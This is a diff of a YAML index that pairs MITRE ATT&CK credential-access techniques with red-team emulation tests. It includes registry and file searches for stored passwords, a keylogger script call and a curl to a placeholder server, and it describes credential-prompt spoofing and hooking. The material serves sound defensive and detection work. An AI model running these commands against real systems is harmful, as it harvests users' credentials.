'2017-05-31T21:31:02.188Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - File monitoring + - Process command-line parameters + x_mitre_detection: 'While detecting adversaries accessing these files may be + difficult without knowing they exist in the first place, it may be possible + to detect adversary use of credentials they have obtained. Monitor the command-line + arguments of executing processes for suspicious words or regular expressions + that may indicate searching for a password (for example: password, pwd, login, + secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) + for more information.' x_mitre_platforms: - Linux - macOS - Windows - x_mitre_data_sources: - - File monitoring - - Process command-line parameters x_mitre_permissions_required: - User - Administrator - SYSTEM x_mitre_system_requirements: - Access to files - id: attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:02.188Z' identifier: T1081 atomic_tests: - name: Browser and System credentials @@ -12073,58 +12213,53 @@ credential-access: ls -R | select-string -Pattern password T1214: technique: + id: attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Credentials in Registry description: |- The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) - *Local Machine Hive: reg query HKLM /f password /t REG_SZ /s - *Current User Hive: reg query HKCU /f password /t REG_SZ /s - - Detection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives. - - Platforms: Windows - - Data Sources: Windows Registry, Process command-line parameters, Process Monitoring - - Permissions Required: User, Administrator - System Requirements: Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys. - - Contributors: Sudhanshu Chauhan, @Sudhanshu_C - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access + * Local Machine Hive: reg query HKLM /f password /t REG_SZ /s + * Current User Hive: reg query HKCU /f password /t REG_SZ /s external_references: - - url: https://attack.mitre.org/wiki/Technique/T1214 + - external_id: T1214 + url: https://attack.mitre.org/techniques/T1214 source_name: mitre-attack - external_id: T1214 - - description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April + - url: https://pentestlab.blog/2017/04/19/stored-credentials/ + description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018. source_name: Pentestlab Stored Credentials - url: https://pentestlab.blog/2017/04/19/stored-credentials/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Sudhanshu Chauhan, @Sudhanshu_C x_mitre_data_sources: - Windows Registry - Process command-line parameters - - Process Monitoring + - Process monitoring + x_mitre_detection: Monitor processes for applications that can be used to query + the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and + collect command parameters that may indicate credentials are being searched. + Correlate activity with related suspicious behavior that may indicate an active + intrusion to reduce false positives. x_mitre_permissions_required: - User - Administrator + x_mitre_platforms: + - Windows x_mitre_system_requirements: - Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys. - x_mitre_contributors: - - Sudhanshu Chauhan, @Sudhanshu_C - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern - id: attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286 + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1214 atomic_tests: - name: Enumeration for Credentials in Registry @@ -12140,55 +12275,53 @@ credential-access: reg query HKCU /f password /t REG_SZ /s '': technique: + id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Two-Factor Authentication Interception description: |- Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources. If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) - Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental) - - Other hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials. - - Detection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. - - Platforms: Linux, macOS, Windows - - Permissions Required: Administrator, SYSTEM - - System Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted. + Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) - Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code. - - Hardware token: Access to the seed and algorithm of generating one-time codes. - - Contributors: John Lambert, Microsoft Threat Intelligence Center - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access + Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1111 + - external_id: T1111 + url: https://attack.mitre.org/techniques/T1111 source_name: mitre-attack - external_id: T1111 - - description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved + - url: https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf + description: Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016. source_name: Mandiant M Trends 2011 - url: https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf - - description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding + - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf + description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016. source_name: Operation Emmental - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf + - url: https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx + description: Jackson, William. (2011, June 7). RSA confirms its tokens used + in Lockheed hack. Retrieved September 24, 2018. + source_name: GCN RSA June 2011 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:23.195Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - John Lambert, Microsoft Threat Intelligence Center + x_mitre_data_sources: + - API monitoring + - Process monitoring + - Kernel drivers + x_mitre_detection: |- + Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. + + Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes. x_mitre_permissions_required: - Administrator - SYSTEM + x_mitre_platforms: + - Linux + - Windows + - macOS x_mitre_system_requirements: - |- Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted. @@ -12196,128 +12329,124 @@ credential-access: Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code. Hardware token: Access to the seed and algorithm of generating one-time codes. - x_mitre_contributors: - - John Lambert, Microsoft Threat Intelligence Center - id: attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-05-31T21:31:23.195Z' atomic_tests: [] T1179: technique: + id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Hooking description: |- Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: - * '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017) - * '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - * '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - - Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. - - Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) - - Hooking is commonly utilized by Rootkits to conceal files, - processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits) - - Detection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) - - Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. - - Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) - Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. + * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017) + * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) + * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) - Platforms: Windows + Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. - Data Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs + Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) - Permissions Required: Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation + Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1179 + - external_id: T1179 + url: https://attack.mitre.org/techniques/T1179 source_name: mitre-attack - external_id: T1179 - - description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. - source_name: Microsoft Hook Overview - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx - - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - source_name: Engame Process Injection July 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - - description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. + - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ + description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.' source_name: Adlice Software IAT Hooks Oct 2014 - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ - - description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User + - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 + - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ + description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense + against user-land. Retrieved December 12, 2017.' + source_name: EyeofRa Detecting Hooking June 2017 + - url: http://www.gmer.net/ + description: GMER. (n.d.). GMER. Retrieved December 12, 2017. + source_name: GMER Rootkits + - url: https://www.exploit-db.com/docs/17802.pdf + description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + December 12, 2017. + source_name: HighTech Bridge Inline Hooking Sept 2011 + - url: https://github.com/jay/gethooks + description: Satiro, J. (2011, September 14). GetHooks. Retrieved December + 12, 2017. + source_name: Jay GetHooks Sept 2011 + - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ + description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.' source_name: MWRInfoSecurity Dynamic Hooking 2015 - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ - - description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx + description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. + source_name: Microsoft Hook Overview + - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx + description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017. - source_name: HighTech Bridge Inline Hooking Sept 2011 - url: https://www.exploit-db.com/docs/17802.pdf + source_name: Microsoft Process Snapshot - description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017. source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 - - description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + - url: https://github.com/prekageo/winhook + description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. + source_name: PreKageo Winhook Jul 2011 + - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis + description: Stack Exchange - Security. (2012, July 31). What are the methods + to find hooked functions and APIs?. Retrieved December 12, 2017. + source_name: StackExchange Hooks Jul 2012 + - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017. source_name: Symantec Windows Rootkits - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - - description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware + - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html + description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. source_name: Volatility Detecting Hooks Sept 2012 - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html - - description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. - source_name: PreKageo Winhook Jul 2011 - url: https://github.com/prekageo/winhook - - description: Satiro, J. (2011, September 14). GetHooks. Retrieved December - 12, 2017. - source_name: Jay GetHooks Sept 2011 - url: https://github.com/jay/gethooks - - description: Felici, M. (2006, December 6). Any application-defined hook procedure + - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ + description: Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017. source_name: Zairon Hooking Dec 2006 - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ - - description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense - against user-land. Retrieved December 12, 2017.' - source_name: EyeofRa Detecting Hooking June 2017 - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ - - description: GMER. (n.d.). GMER. Retrieved December 12, 2017. - source_name: GMER Rootkits - url: http://www.gmer.net/ - - description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved - December 12, 2017. - source_name: Microsoft Process Snapshot - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx - - description: Stack Exchange - Security. (2012, July 31). What are the methods - to find hooked functions and APIs?. Retrieved December 12, 2017. - source_name: StackExchange Hooks Jul 2012 - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-01-16T16:13:52.465Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - Binary file metadata - DLL monitoring - Loaded DLLs - - Process Monitoring + - Process monitoring - Windows event logs + x_mitre_detection: |- + Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) + + Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. + + Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) + + Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. x_mitre_permissions_required: - Administrator - SYSTEM - id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: persistence + kill_chain_name: mitre-attack + - phase_name: privilege-escalation + kill_chain_name: mitre-attack + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-01-16T16:13:52.465Z' identifier: T1179 atomic_tests: - name: Hook PowerShell TLS Encrypt/Decrypt Messages @@ -12342,68 +12471,65 @@ credential-access: curl #{server_name} T1056: technique: + id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Input Capture description: |- - Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception. + Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012) - Keylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. + Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. - Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) - - Detection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. - - Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used. - - Platforms: Linux, macOS, Windows - - Data Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring - - Permissions Required: Administrator, SYSTEM - - Contributors: John Lambert, Microsoft Threat Intelligence Center - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: collection - - kill_chain_name: mitre-attack - phase_name: credential-access + Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1056 + - external_id: T1056 + url: https://attack.mitre.org/techniques/T1056 source_name: mitre-attack - external_id: T1056 - - description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth + - external_id: CAPEC-569 + url: https://capec.mitre.org/data/definitions/569.html + source_name: capec + - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf + description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.' source_name: Adventures of a Keystroke - - description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS - AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014. - source_name: Wrightson 2012 - url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/ - - description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco + - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ + description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' source_name: Volexity Virtual Private Keylogging - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ + - url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/ + description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS + AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014. + source_name: Wrightson 2012 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:48.323Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - John Lambert, Microsoft Threat Intelligence Center x_mitre_data_sources: - Windows Registry - Kernel drivers - Process monitoring - API monitoring + x_mitre_detection: |- + Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. + + Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used. x_mitre_permissions_required: - Administrator - SYSTEM - x_mitre_contributors: - - John Lambert, Microsoft Threat Intelligence Center - id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: collection + kill_chain_name: mitre-attack + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:48.323Z' identifier: T1056 atomic_tests: - name: Input Capture @@ -12423,6 +12549,8 @@ credential-access: command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n" T1141: technique: + id: attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Input Prompt description: |- When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript: @@ -12431,43 +12559,38 @@ credential-access: (Citation: OSX Keydnap malware) Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper) - - Detection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials. - - Platforms: macOS - - Data Sources: User interface, Process Monitoring - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access external_references: - - url: https://attack.mitre.org/wiki/Technique/T1141 + - external_id: T1141 + url: https://attack.mitre.org/techniques/T1141 source_name: mitre-attack - external_id: T1141 - - description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. source_name: OSX Keydnap malware - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - - description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits + - url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html + description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017. source_name: OSX Malware Exploits MacKeeper - url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - User interface - - Process Monitoring + - Process monitoring + x_mitre_detection: This technique exploits users' tendencies to always supply + credentials when prompted, which makes it very difficult to detect. Monitor + process execution for unusual programs as well as AppleScript that could be + used to prompt users for credentials. + x_mitre_platforms: + - macOS x_mitre_permissions_required: - User - id: attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1141 atomic_tests: - name: Prompt User for Password @@ -12487,47 +12610,44 @@ credential-access: ' T1142: technique: + id: attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Keychain description: |- Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in 